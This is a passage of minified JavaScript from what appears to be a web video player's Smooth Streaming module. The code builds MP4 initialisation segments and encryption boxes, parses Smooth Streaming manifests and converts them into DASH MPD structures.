u,f;return((u=this.contentProtection?r.ISOBoxer.createBox("encv",t,!1):r.ISOBoxer.createBox("avc1",t,!1)).reserved1=[0,0,0,0,0,0],u.data_reference_index=1,u.pre_defined1=0,u.reserved2=0,u.pre_defined2=[0,0,0],u.height=this.initInfo.height,u.width=this.initInfo.width,u.horizresolution=72,u.vertresolution=72,u.frame_count=1,u.compressorname=[10,65,86,67,32,67,111,100,105,110,103,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],u.depth=24,u.pre_defined3=65535,u.config=this.createAVC1ConfigurationRecord(),this.contentProtection)&&(f=r.ISOBoxer.createBox("sinf",u),n.appendOriginalFormatBox(f,i),n.appendSchemeTypeBox(f),this.appendSchemeInformationBox(f)),u},n.prototype.createAVC1ConfigurationRecord=function(){for(var i,t,r,o,f=15,u=[],e=[],h=0,c=0,l=0,a=this.initInfo.codecPrivateData.split("00000001").slice(1),s=0;s<a.length;s++)switch(31&(o=n.hexStringtoBuffer(a[s]))[0]){case 7:u.push(o);f+=o.length+2;break;case 8:e.push(o);f+=o.length+2}for(u.length>0&&(h=u[0][1],l=u[0][2],c=u[0][3]),i=new Uint8Array(f),t=0,i[t++]=(4278190080&f)>>24,i[t++]=(16711680&f)>>16,i[t++]=(65280&f)>>8,i[t++]=255&f,i.set([97,118,99,67],t),t+=4,i[t++]=1,i[t++]=h,i[t++]=l,i[t++]=c,i[t++]=255,i[t++]=224|u.length,r=0;r<u.length;r++)i[t++]=(65280&u[r].length)>>8,i[t++]=255&u[r].length,i.set(u[r],t),t+=u[r].length;for(i[t++]=e.length,r=0;r<e.length;r++)i[t++]=(65280&e[r].length)>>8,i[t++]=255&e[r].length,i.set(e[r],t),t+=e[r].length;return i},n.prototype.createMP4AudioSampleEntry=function(t,i){var u,f;return((u=this.contentProtection?r.ISOBoxer.createBox("enca",t,!1):r.ISOBoxer.createBox("mp4a",t,!1)).reserved1=[0,0,0,0,0,0],u.data_reference_index=1,u.reserved2=[0,0],u.channelcount=this.initInfo.audioChannels,u.samplesize=16,u.pre_defined=0,u.samplerate=this.initInfo.audioSamplingRate,u.esds=this.createMPEG4AACESDescriptor(),this.contentProtection)&&(f=r.ISOBoxer.createBox("sinf",u),n.appendOriginalFormatBox(f,i),n.appendSchemeTypeBox(f),this.appendSchemeInformationBox(f)),u},n.prototype.createMPEG4AACESDescriptor=function(){var r=n.hexStringtoBuffer(this.initInfo.codecPrivateData),u=34+r.length,i=new Uint8Array(u),t=0;return i[t++]=(4278190080&u)>>24,i[t++]=(16711680&u)>>16,i[t++]=(65280&u)>>8,i[t++]=255&u,i.set([101,115,100,115],t),t+=4,i.set([0,0,0,0],t),t+=4,i[t++]=3,i[t++]=20+r.length,i[t++]=(65280&this.trackId)>>8,i[t++]=255&this.trackId,i[t++]=0,i[t++]=4,i[t++]=15+r.length,i[t++]=64,i[t]=20,i[t]|=0,i[t++]|=1,i[t++]=255,i[t++]=255,i[t++]=255,i[t++]=(4278190080&this.initInfo.bandwidth)>>24,i[t++]=(16711680&this.initInfo.bandwidth)>>16,i[t++]=(65280&this.initInfo.bandwidth)>>8,i[t++]=255&this.initInfo.bandwidth,i[t++]=(4278190080&this.initInfo.bandwidth)>>24,i[t++]=(16711680&this.initInfo.bandwidth)>>16,i[t++]=(65280&this.initInfo.bandwidth)>>8,i[t++]=255&this.initInfo.bandwidth,i[t++]=5,i[t++]=r.length,i.set(r,t),i},n.appendOriginalFormatBox=function(t,i){r.ISOBoxer.createBox("frma",t).data_format=n.stringToCharCode(i)},n.appendSchemeTypeBox=function(n){var t=r.ISOBoxer.createFullBox("schm",n);t.flags=0;t.version=0;t.scheme_type=1667591779;t.scheme_version=65536},n.prototype.appendSchemeInformationBox=function(n){var t=r.ISOBoxer.createBox("schi",n);this.appendTrackEncryptionBox(t)},n.appendProtectionSystemSpecificHeaderBoxForPR=function(t,i){var u=r.ISOBoxer.createFullBox("pssh",t),f=n.base64ToArrayBuffer(i);u.flags=0;u.version=0;u.SystemID=new Uint8Array([154,4,240,121,152,64,66,134,171,146,230,91,224,136,95,149]);u.DataSize=f.length;u.Data=f},n.prototype.appendTrackEncryptionBox=function(n){var t=r.ISOBoxer.createFullBox("tenc",n);t.flags=0;t.version=0;t.default_IsEncrypted=1;t.default_IV_size=8;t.default_KID=this.contentProtection?this.contentProtection[0].kid:o},n.prototype.appendTrexBox=function(n){var t=r.ISOBoxer.createFullBox("trex",n);t.track_ID=this.trackId;t.default_sample_description_index=1;t.default_sample_duration=0;t.default_sample_size=0;t.default_sample_flags=0},n.base64ToArrayBuffer=function(n){for(var i=window.atob(n),r=i.length,u=new Uint8Array(r),t=0;t<r;t++)u[t]=i.charCodeAt(t);return u},n.hexStringtoBuffer=function(n){for(var i=new Uint8Array(n.length/2),t=0;t<n.length/2;t+=1)i[t]=parseInt(""+n[2*t]+n[2*t+1],16);return i},n.stringToCharCode=function(n){for(var i=0,t=0;t<n.length;t+=1)i|=n.charCodeAt(t)<<8*(n.length-t-1);return i},n}();t.InitSegmentGenerator=s},79841:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.SmoothModuleDefinition=void 0;var r=i(16368);t.SmoothModuleDefinition={name:r.ModuleName.Smooth,module:function(){return{SmoothStreamingLoader:i(89079).A,createSmoothSegmentTemplateMPDHandler:i(63894).createSmoothSegmentTemplateMPDHandler}},dependencies:[r.ModuleName.EngineBitmovin,r.ModuleName.DASH]};t.default=t.SmoothModuleDefinition},63894:function(n,t,i){"use strict";var s=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}();Object.defineProperty(t,"__esModule",{value:!0});t.createSmoothSegmentTemplateMPDHandler=void 0;var f=i(91520),e=i(16368),o=i(48727),r=i(73377),u=i(16580);t.createSmoothSegmentTemplateMPDHandler=function(){var n,t=f.ModuleManager.get(e.ModuleName.DASH);return(n=function(t){function i(i,f,e){var o=t.call(this,i)||this;return o.lastRepresentationId=void 0,o.mimeType=f,o.smoothLoader=e,o.trackId=n.trackIDs[f],n.trackIDs[f]=Math.max(n.trackIDs.audioMp4,n.trackIDs.videoMp4)+1,r.ISOBoxer.addBoxProcessor("uuid",u.uuidProcessor),r.ISOBoxer.addBoxProcessor("saio",u.saioProcessor),r.ISOBoxer.addBoxProcessor("saiz",u.saizProcessor),r.ISOBoxer.addBoxProcessor("senc",u.sencProcessor),o}return s(i,t),i.prototype.checkIfSegmentAvailable=function(){return!0},i.prototype.isExpectedSegmentPlaybackTimeExceedingPeriodDuration=function(){return!1},i.prototype.generateSmoothInitSegment=function(n,t){var s,u;if(this.rewriteHeaderInfoIfNecessary(n),this.currentRepresentationId&&!this.currentRepresentationId.equals(this.lastRepresentationId)){this.lastRepresentationId=this.currentRepresentationId;s=this.manifestService.findAdaptationSet(this.manifestService.getFirstPeriod()._id,this.mimeType);u=r.ISOBoxer.parseBuffer(n.getData());n.setParsedData(u);var l=f.ModuleManager.get(e.ModuleName.ContainerMP4).getTrackId(this.context.logger,u),h=this.manifestService.getRepresentationById(this.currentRepresentationId),c=this.smoothLoader.createInitSegmentForRepresentation(h,s,l),a=c[0],v=c[1],i=new o.Segment(v,this.mimeType,n.getCodec(),n.getPeriodId(),null,o.SegmentInitType.INIT,!0,-1,n.getRepresentationId());i.setParsedData(a);i.setUrl(h.BaseURL[0].url);i.setLastSegment(!1);n.getSegmentInfo()&&i.setSegmentInfo({internalRepresentationId:n.getSegmentInfo().internalRepresentationId,representationId:n.getSegmentInfo().representationId});null==t||t.parseSegment(i);this.lastRepresentationInitSegment=i}n.setInitSegment(this.lastRepresentationInitSegment)},i.prototype.rewriteHeaderInfoIfNecessary=function(n){n&&!n.isInit()&&this.rewriteDataSegmentBoxes(n)},i.prototype.rewriteDataSegmentBoxes=function(t){var i=r.ISOBoxer.parseBuffer(t.getData()),l=i.fetch("tfhd"),p=this.manifestService.getAdaptationSetIndex(t.getRepresentationId())+1,s,h,a,e,u,o,f,c,v,w,y,b,k;if(p>0?this.trackId=p:this.trackId<1&&(this.trackId=1),l.track_ID=this.trackId,s=i.fetch("tfdt"),h=i.fetch("traf"),null===s&&((s=r.ISOBoxer.createFullBox("tfdt",h,l)).version=1,s.flags=0,s.baseMediaDecodeTime=Math.floor(t.getSegmentInfo().mediaPresentationTime)),a=i.fetch("trun"),e=i.fetch("tfxd"),e&&(e._parent.boxes.splice(e._parent.boxes.indexOf(e),1),e=null),u=i.fetch("sepiff"),null!==u&&(u.type="senc",u.usertype=void 0,o=i.fetch("saio"),null===o))if((o=r.ISOBoxer.createFullBox("saio",h)).version=0,o.flags=0,o.entry_count=1,o.offset=[0],f=r.ISOBoxer.createFullBox("saiz",h),f.version=0,f.flags=0,f.sample_count=u.sample_count,f.default_sample_info_size=0,f.sample_info_size=[],2&u.flags)for(c=0;c<u.sample_count;c+=1)f.sample_info_size[c]=10+6*u.entry[c].NumberOfEntries;else f.default_sample_info_size=8;l.flags&=16777214;l.flags|=131072;a.flags|=1;v=i.fetch("moof");w=v.getLength();a.data_offset=w+8;y=i.fetch("saio");null!==y&&(b=n.getBoxOffset(v,"traf"),k=n.getBoxOffset(h,"senc"),y.offset[0]=b+k+16);t.setData(i.write());t.setParsedData(r.ISOBoxer.parseBuffer(t.getData()))},i.getBoxOffset=function(n,t){for(var r=8,i=0;i<n.boxes.length;i++){if(n.boxes[i].type===t)return r;r+=n.boxes[i].size}return r},i.prototype.dispose=function(){t.prototype.dispose.call(this);this.smoothLoader=null},i}(t.SegmentTimelineMPDHandler)).trackIDs={videoMp4:2,audioMp4:1},n}},89079:function(n,t,i){"use strict";t.A=void 0;var r=i(25550),u=i(28764),f=i(63546),e=i(35148),o=i(18665),s=i(62510),l=i(88005),a=i(59181),v=i(90637),y=i(36564),h=i(67345),p=i(76650),w=i(8272),b=i(91520),k=i(16368),d=i(26608),c=i(56855),g=i(25666),nt=function(){function n(n,t){var i=this;this.onFailureHandler=function(n,t){var f=new u.PlayerError(r.ErrorCode.SOURCE_COULD_NOT_LOAD_MANIFEST,{sourceUrl:n.url,statusCode:n.status},"Failed to load the manifest: ".concat(n.status," ").concat(n.statusText,"."),i.sourceContext.sourceIdentifier);0===n.status&&(f=t&&t.name===v.RequestError.TimedOut?new u.PlayerError(r.ErrorCode.NETWORK_MANIFEST_DOWNLOAD_TIMEOUT,{sourceUrl:n.url},"Failed to load the manifest: the request timed out.",i.sourceContext.sourceIdentifier):new u.PlayerError(r.ErrorCode.NETWORK_ERROR,{url:n.url,statusCode:n.status,statusText:n.statusText},"Failed to load smooth manifest, statusCode: ".concat(n.status,", statusText: ").concat(n.statusText),i.sourceContext.sourceIdentifier));i.context.eventHandler.fireError(f)};this.load=function(n){return i.manifestUrl=n||i.manifestUrl,i.manifestUrl?i.getManifestHttpResponse(i.manifestUrl).then(i.handleRequestSuccess).catch(function(n){return i.context.logger.debug("Error while loading smooth manifest ",n),null}):(i.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_INVALID,void 0,"Cannot load the manifest: no URL was provided.")),Promise.reject("No manifest url provided"))};this.handleRequestSuccess=function(n){return i.loader?(i.context.serviceManager.maybeCall(o.ServiceName.ManifestCachingService,function(t){return t.cacheHttpResponse(n,n.url)},null,i.sourceContext.sourceIdentifier),y.isDownloadTimeInformationValid(n)&&i.context.store.dispatch(p.addMetricsValue("default",w.MetricType.DownloadInformation,{bytes:n.length,time:n.elapsedTime,timeToFirstByte:n.timeToFirstByte})),null===n.body||n.length<1?(i.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID)),null):i.parseXmlResponse(n.body)):null};this.context=n;this.sourceContext=t;this.settings=n.settings;this.loader=new l.DefaultContentLoader(n,{requestType:h.HttpRequestType.MANIFEST_SMOOTH,onFailure:this.onFailureHandler,maxRetries:this.settings.MAX_MPD_RETRIES,retryDelay:this.settings.MPD_RETRY_DELAY});this.parseXML=b.ModuleManager.get(k.ModuleName.XML).parseXML}return n.prototype.dispose=function(){this.smoothStreamingParser&&this.smoothStreamingParser.dispose();this.smoothStreamingParser=null;this.smoothStreamingConverter&&this.smoothStreamingConverter.dispose();this.smoothStreamingConverter=null;this.settings=null;this.loader=null},n.prototype.getManifestHttpResponse=function(n){var t,i=this.context.serviceManager.maybeCall(o.ServiceName.ManifestCachingService,function(t){return t.getHttpResponse(n)},null,this.sourceContext.sourceIdentifier),r;return i?Promise.resolve(i):(r=null===(t=this.sourceContext.source.options)||void 0===t?void 0:t.manifestWithCredentials,this.loader.load(n,h.HttpRequestMethod.GET,null,null,null,r,a.ManifestMimeType.Smooth))},n.prototype.parseXmlResponse=function(n){var t,i,f;try{if(null===n)throw"input must not be null";if(i=this.parseXML(n,{decodeEntities:!0}),!1===i.success)throw new Error("manifest parsing failed");t=i.parsed}catch(n){return void this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID))}if(this.validateManifest(t))return this.smoothStreamingParser?this.smoothStreamingParser.updateManifest(t,this.manifestUrl):this.smoothStreamingParser=new c.SmoothStreamingParser(this.context,t,this.manifestUrl),f=this.smoothStreamingParser.getParsedManifest(),this.smoothStreamingConverter?this.smoothStreamingConverter.updateManifest(f,Date.now()):this.smoothStreamingConverter=new g.SmoothToMpdConverter(this.context,f,Date.now()),this.smoothStreamingConverter.getDASHManifest()},n.prototype.createInitSegmentForRepresentation=function(n,t,i){var a,o,h,l,v,y,p;if(!n)return this.context.logger.debug("Cannot create init segment for undefined representation."),void this.context.eventHandler.dispatchEvent(s.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.SOURCE_SMOOTH_REPRESENTATION_MISSING));if(this.smoothStreamingParser)return(a=this.smoothStreamingParser.getParsedManifest(),o=a.clips[Number(n._internalId.periodId)].streamIndexes.find(function(t){return 0===n._id.indexOf(t.name)}),!o)?(this.context.logger.log("Cannot generate InitSegment, unable to find smooth StreamIndex for: ",n),this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID,null,"Unable to generate an InitSegment because StreamIndex disappeared")),null):(h=o.qualityInformation.find(function(t){return t.bitrate===n._bandwidth}),!h)?(this.context.logger.log("Cannot generate InitSegment, unable to find smooth QualityInfo for: ",n),this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID,null,"Unable to generate InitSegment because QualityInformation disappeared")),null):(l={type:o.type,timescale:o.timeScale||a.timeScale||c.DEFAULT_TIMESCALE_FACTOR,trackId:i,codecPrivateData:h.codecPrivateData,lang:o.language,bandwidth:h.bitrate,codecs:n._codecs,id:n._id,internalRepresentationId:n._internalId,periodDuration:a.duration},"video"===o.type?(v=h,l.width=v.maxWidth,l.height=v.maxHeight):"audio"===o.type&&(y=h,l.audioChannels=y.noChannels,l.audioSamplingRate=y.samplingRate),p=new d.InitSegmentGenerator(this.context,l,a.protection),[p.getParsedData(),p.generateArrayBuffer()]);this.context.eventHandler.dispatchEvent(s.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.SOURCE_SMOOTH_INVALID_INIT_DATA))},n.prototype.validateManifest=function(n){return!(!n||!n.hasOwnProperty("SmoothStreamingMedia")&&!n.SmoothStreamingMedia)||(this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID)),!1)},n.prototype.updateRepresentation=function(n){return Promise.resolve(n)},n}();t.A=nt},56855:function(n,t,i){"use strict";var h;Object.defineProperty(t,"__esModule",{value:!0});t.SmoothStreamingParser=t.DEFAULT_TIMESCALE_FACTOR=void 0;var r=i(25550),u=i(28764),f=i(63546),e=i(35148),o=i(62510),s=i(76885);t.DEFAULT_TIMESCALE_FACTOR=1e7;h=function(){function n(n,i,r){this.timescaleFactor=t.DEFAULT_TIMESCALE_FACTOR;this.context=n;this.updateManifest(i,r)}return n.prototype.getParsedManifest=function(){return this.isManifestParsed||this.parseRawManifest(),this.parsedManifest},n.prototype.updateManifest=function(n,t){this.rawManifest=n;this.manifestUrl=t;this.isManifestParsed=!1;this.parsedManifest=null},n.prototype.parseRawManifest=function(){var n=this;this.parsedManifest=this.parseSmoothStreamingInformation(this.rawManifest.SmoothStreamingMedia);this.ensureClipArray();this.parsedManifest.startTime=1/0;this.parsedManifest.duration=0;this.rawManifest.SmoothStreamingMedia.Clip.forEach(function(t){var u=t.StreamIndex,r,i;Array.isArray(u)||(u=[u]);r=-1;i=1/0;u.forEach(function(u){var f=n.parseStreamIndex(u,t);f&&(f.totalTime>r&&(r=f.totalTime),f.startTime<i&&(i=f.startTime))});-1===t.ClipBegin&&(t.ClipBegin=i*n.timescaleFactor,t.ClipEnd=(i+r)*n.timescaleFactor);n.parsedManifest.startTime=Math.min(n.parsedManifest.startTime,i);n.parsedManifest.duration+=r;n.parsedManifest.clips.push(t)});this.parseProtectionElement(this.rawManifest.SmoothStreamingMedia)},n.prototype.ensureClipArray=function(){if(this.rawManifest.SmoothStreamingMedia.Clip)Array.isArray(this.rawManifest.SmoothStreamingMedia.Clip)||(this.rawManifest.SmoothStreamingMedia.Clip=[this.rawManifest.SmoothStreamingMedia.Clip]);else{var n={_ClipBegin:-1,_ClipEnd:-1,_Url:this.manifestUrl,streamIndexes:[],StreamIndex:this.rawManifest.SmoothStreamingMedia.StreamIndex};this.rawManifest.SmoothStreamingMedia.Clip=[n];delete this.rawManifest.SmoothStreamingMedia.StreamIndex}this.rawManifest.SmoothStreamingMedia.Clip.forEach(function(n){n.streamIndexes=n.streamIndexes||[];n.ClipBegin=Number(n._ClipBegin);n.ClipEnd=Number(n._ClipEnd);n.Url=String(n._Url)})},n.prototype.parseSmoothStreamingInformation=function(i){var r={lookaheadCount:i._LookaheadCount,dvrWindowLength:Number(i._DVRWindowLength)||0,location:this.manifestUrl,duration:-1,startTime:-1,timeScale:Number(i._TimeScale||t.DEFAULT_TIMESCALE_FACTOR),isLive:n.parseBoolean(i._IsLive,!1),canPause:n.parseBoolean(i._CanPause,!0),canSeek:n.parseBoolean(i._CanSeek,!0),minorVersion:Number(i._MinorVersion)||2,majorVersion:Number(i._MajorVersion)||2,clips:[]};return this.timescaleFactor=r.timeScale,r.dvrWindowLength=r.isLive?r.dvrWindowLength/this.timescaleFactor:0,this.isManifestParsed=!0,r},n.prototype.parseProtectionElement=function(n){if(n.Protection&&n.Protection.ProtectionHeader){var t=n.Protection.ProtectionHeader;Array.isArray(t)||(t=[t]);this.parsedManifest.protection=t.map(function(n){return{systemId:n.SystemID,content:n.__text}})}},n.prototype.parseStreamIndex=function(n,t){var i=this.parseCommonStreamIndexInformation(n,t.Url);return 0===(i=this.parseQualityLevels(n,i)).qualityInformation.length?(this.context.eventHandler.dispatchEvent(o.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.SOURCE_SMOOTH_EMPTY_QUALITY_LEVEL,"StreamIndex does not contain any QualityLevel, will be filtered out")),null):(t.streamIndexes.push(i),i)},n.prototype.parseCommonStreamIndexInformation=function(t,i){var r={name:t._Name||"unnamed"+n.unnamedStreamIndexCounter++,parentStream:t._ParentStream,numberOfChunks:Number(t._Chunks),timeScale:Number(t._TimeScale||t._StreamTimeScale||this.timescaleFactor),type:t._Type,templateUrl:this.convertUrlToAbsolute(t._Url,i),totalTime:0,startTime:0,fragmentInfos:[]};return t._Subtype&&""!==t._Subtype&&(r.subType=t._Subtype),t._Language&&(r.language=t._Language),n.parseCustomAttributes(t,r),this.parseFragmentInformation(t,r),r},n.prototype.convertUrlToAbsolute=function(n,t){var i;return s.URLHelper.isUrlAbsolute(n)?i=n:(i=s.URLHelper.removeLastPathPart(t),i+=n),i},n.parseCustomAttributes=function(n,t){if(n&&n.CustomAttributes){t.customAttributes||(t.customAttributes={});var i=n.CustomAttributes;Array.isArray(i)||(i=[i]);i.forEach(function(n){Object.keys(n).forEach(function(i){t.customAttributes[i]=n[i]})})}},n.prototype.parseFragmentInformation=function(n,t){var o,s,i,p;if(!n||!n.c||n.c.length<1)this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID,void 0,"StreamIndex must contain StreamFragmentElements"));else{for(var h=[].concat(n.c),w=t.timeScale||this.timescaleFactor,f=0,l=0,a=0,e=0;e<h.length;e++){o=h[e];s=1;o._r&&(s=Number(o._r));for(var v=Number(o._t||f),y=0,c=1;c<=s;c++)i=o._d,p={duration:i=i?Number(i):this.calcualteMissingFragmentDuration(e,h,f)/s,startTime:v+y,index:a},t.fragmentInfos.push(p),0===e&&1===c&&(t.startTime=f,f=v),y+=i,l+=i,f+=i,a++}t.totalTime=l/w}},n.prototype.calcualteMissingFragmentDuration=function(n,t,i){var f,e=t[n]._t||i,s,o,h;if(n+1<t.length&&(s=t[n+1],e&&s._t&&(f=Number(s._t)-Number(e))),n>0&&n-1>0&&(o=t[n-1],e&&o._t&&(h=Number(e)-Number(o._t),f?h!==f&&this.context.logger.debug("To avoid gaps in the timeline returning calculated duration of: "+"".concat(f," instead of: ").concat(h," for fragment at startTime: ").concat(e)):f=Number(e)-Number(o._t))),f)return f;this.context.eventHandler.fireError(new u.PlayerError(r.ErrorCode.SOURCE_MANIFEST_INVALID))},n.prototype.parseQualityLevels=function(t,i){var s=this,r=t.QualityLevel,u;return Array.isArray(r)||(r=[r]),u=i,u.qualityInformation=r.map(function(t){var r,u;if("video"===i.type)r=n.parseVideoQualityInformation(t);else if("audio"===i.type)u=n.parseAudioQualityInformation(t),r=n.validateAudioQualityInformation(u);else{if("text"!==i.type)return s.context.eventHandler.dispatchEvent(o.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.SOURCE_SMOOTH_UNKNOWN_STREAM_INDEX_TYPE,'Unknown StreamIndex.type: "'.concat(i.type,'", it will be ignored'))),null;r=n.parseTextQualityInformation(t)}return n.parseCustomAttributes(t,r),r}).filter(function(n){return null!=n}),u},n.parseVideoQualityInformation=function(n){return{codec:n._FourCC,codecPrivateData:n._CodecPrivateData,maxHeight:parseInt(n._MaxHeight),maxWidth:parseInt(n._MaxWidth),bitrate:parseInt(n._Bitrate),index:parseInt(n._Index)}},n.parseAudioQualityInformation=function(n){return{codec:n._FourCC,codecPrivateData:n._CodecPrivateData,bitrate:parseInt(n._Bitrate),index:parseInt(n._Index),noChannels:parseInt(n._Channels),samplingRate:parseInt(n._SamplingRate,10),audioTag:parseInt(n._AudioTag)}},n.parseTextQualityInformation=function(n){return{codec:n._FourCC,codecPrivateData:n._CodecPrivateData,bitrate:parseInt(n._Bitrate),index:parseInt(n._Index)}},n.validateAudioQualityInformation=function(t){var o,u,r,f,e;if(null!==t.codecPrivateData&&""!==t.codecPrivateData)return t;if(u=n.SAMPLING_FREQUENCY_INDEXES[String(t.samplingRate)],"AACH"===t.codec){var s=5,i=new Uint8Array(4),h=n.SAMPLING_FREQUENCY_INDEXES[2*t.samplingRate];i[0]=s<<3|u>>1;i[1]=u<<7|t.noChannels<<3|h>>1;i[2]=h<<7|8;i[3]=0;(r=new Uint16Array(2))[0]=(i[0]<<8)+i[1];r[1]=(i[2]<<8)+i[3];o=r[0].toString(16)+r[1].toString(16)}else f=new Uint8Array(2),s=2,f[0]=s<<3|u>>1,f[1]=u<<7|t.noChannels<<3,(r=new Uint16Array(1))[0]=(f[0]<<8)+f[1],o=r[0].toString(16);return e=""+o,e=e.toUpperCase(),t.codecPrivateData=e,t},n.parseBoolean=function(n,t){return void 0===n&&(n=null),void 0===t&&(t=!1),n?"string"==typeof n?"true"===n.toLowerCase():Boolean(n):t},n.prototype.dispose=function(){this.parsedManifest=null;this.rawManifest=null},n.unnamedStreamIndexCounter=0,n.SAMPLING_FREQUENCY_INDEXES={96e3:0,88200:1,64e3:2,48e3:3,44100:4,32e3:5,24e3:6,22050:7,16e3:8,12e3:9,11025:10,8e3:11,7350:12},n}();t.SmoothStreamingParser=h},25666:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.SmoothToMpdConverter=void 0;var r=i(25550),u=i(28764),f=i(63546),e=i(35148),o=i(62510),s=i(331),h=i(67883),c=i(38925),l=function(){function n(n,t,i){this.context=n;this.eventHandler=n.eventHandler;this.updateManifest(t,i)}return n.prototype.getDASHManifest=function(){return this.isParsed||this.convertManifests(),this.dashManifest},n.prototype.updateManifest=function(n,t){this.isParsed=!1;this.dashManifest=null;this.smoothManifest=n;this.groupIndex=1;this.smoothInfo={format:"smooth"};this.shouldUpdatePresentationTimeOffsets=!1;this.requestTimeStamp=t;this.presentationTimeOffsets={}},n.prototype.convertManifests=function(){var t=this;(this.smoothManifest.canPause||this.smoothManifest.canSeek)&&(this.shouldUpdatePresentationTimeOffsets=!0);this.dashManifest={"_xmlns:xsi":"http://www.w3.org/2001/XMLSchema-instance",_xmlns:"urn:mpeg:dash:schema:mpd:2011","_xmlns:xlink":"http://www.w3.org/1999/xlink","_xsi:schemaLocation":"urn:mpeg:DASH:schema:MPD:2011 http://standards.iso.org/ittf/PubliclyAvailableStandards/MPEG-DASH_schema_files/DASH-MPD.xsd",_profiles:"urn:mpeg:dash:profile:isoff-live:2011",_type:this.smoothManifest.isLive?"dynamic":"static",_minimumUpdatePeriod:this.smoothManifest.isLive?"PT4S":null,_mediaPresentationDuration:n.convertDurationToSeconds(Number(this.smoothManifest.duration)),_timeShiftBufferDepth:-this.smoothManifest.dvrWindowLength,_requestTimestamp:this.requestTimeStamp,originalFormat:this.smoothInfo,Location:[this.smoothManifest.location],Period:[],isInitialized:!1};this.smoothManifest.clips.forEach(function(n,i){var r=t.convertClipToPeriod(n,i);t.dashManifest.Period.push(r);t.smoothManifest.isLive&&(t.dashManifest._availabilityStartTime=t.availabilityStartTime||new Date(t.requestTimeStamp-s.toMilliSeconds(t.smoothManifest.dvrWindowLength)).toISOString(),t.shouldUpdatePresentationTimeOffsets=!1);t.shouldUpdatePresentationTimeOffsets&&t.unifyPresentationTimeOffsets(r);t.groupIndex=1});this.smoothManifest.isLive&&(this.availabilityStartTime=this.dashManifest._availabilityStartTime);this.isParsed=!0},n.prototype.unifyPresentationTimeOffsets=function(n){var i=this,t=this.presentationTimeOffsets[Number(n._id)];0!==t.audio&&0!==t.video&&n.AdaptationSet.forEach(function(n){var r=t.video,u,f;t[n._contentType]!==r&&(u=t[n._contentType],f=(u-r)/i.smoothManifest.timeScale,i.context.logger.debug("Updating the presentation time offset of ".concat(n._contentType," ")+"from: ".concat(u," to ").concat(r,". Difference: ").concat(f,"s")));n.SegmentTemplate[0]._presentationTimeOffset=r})},n.convertDurationToSeconds=function(n){return"PT"+n+"S"},n.prototype.convertClipToPeriod=function(t,i){var e=this,u=[];t.streamIndexes.forEach(function(n){u.push(e.convertStreamInfoToAdaptationSet(n,i))});var o=t.ClipBegin/this.smoothManifest.timeScale,f=t.ClipEnd/this.smoothManifest.timeScale-o,r=0;return this.dashManifest.Period.forEach(function(n){r+=n.duration}),{_id:String(i),_start:n.convertDurationToSeconds(r),start:r,_duration:n.convertDurationToSeconds(f),duration:f,AdaptationSet:u}},n.prototype.convertStreamInfoToAdaptationSet=function(t,i){var o,s,c,y=this,u=t.type,f=1/0,e=0,l=[],a=new h.AdaptationSetId(String(i),String(this.groupIndex)),v,r;return t.qualityInformation&&t.qualityInformation.length>0?("text"===(u+=n.buildMimeTypeSuffix(t.qualityInformation[0]))&&(u="application/mp4"),t.qualityInformation.forEach(function(n){var i=y.convertQualityInfoToRepresentation(t,n,u,a);f>n.bitrate&&(f=n.bitrate);e<n.bitrate&&(e=n.bitrate);n.maxHeight&&(s=n.maxHeight);n.maxWidth&&(o=n.maxWidth);n.samplingRate&&(i._audioSamplingRate=n.samplingRate);n.noChannels&&(c=n.noChannels);l.push(i)})):(f=0,e=1/0),v=[this.convertStreamInfoToSegmentTemplate(t,i)],r={_id:String(this.groupIndex),_internalId:a,_group:String(this.groupIndex++),_contentType:t.type,_mimeType:u,_minBandwidth:f,_maxBandwidth:e,_periodId:String(i),_codecs:"",Representation:l,SegmentTemplate:v},l.forEach(function(n){return n.SegmentTemplate=r.SegmentTemplate}),t.language&&(r._lang=t.language),o&&(r._maxWidth=o),s&&(r._maxHeight=s),c&&(r.AudioChannelConfiguration={_value:c}),r},n.buildMimeTypeSuffix=function(n){switch(n.codec){case"TEXT":case"TTML":return"";default:return"/mp4"}},n.prototype.convertQualityInfoToRepresentation=function(n,t,i,r){var f=[{url:this.convertTemplateUrlToBaseUrl(n.templateUrl)}],e=new c.RepresentationId(r,n.name+"_"+t.bitrate),u={_id:e.representationId,_internalId:e,_requestTimestamp:null,_bandwidth:t.bitrate,_mimeType:i,Uri:f[0].url,_codecs:this.convertCodecInfo(t.codec,t.codecPrivateData),BaseURL:f};return t.maxHeight&&(u._height=t.maxHeight),t.maxWidth&&(u._width=t.maxWidth),u},n.prototype.convertCodecInfo=function(t,i){return i=i?i.toString():"","H264"===t||"AVC1"===t?this.getH264Codec(i):t.indexOf("AAC")>-1?n.getAACCodec(t,i):"TEXT"===t||"TTML"===t?"stpp":(this.context.logger.debug("Unknown codec while converting Smooth Manifest: "+t),this.eventHandler.dispatchEvent(o.PlayerEvent.Warning,new f.PlayerWarning(e.WarningCode.SOURCE_CODEC_OR_FILE_FORMAT_NOT_SUPPORTED)),t)},n.prototype.getH264Codec=function(n){var t=/00000001[0-9]7/.exec(n);return 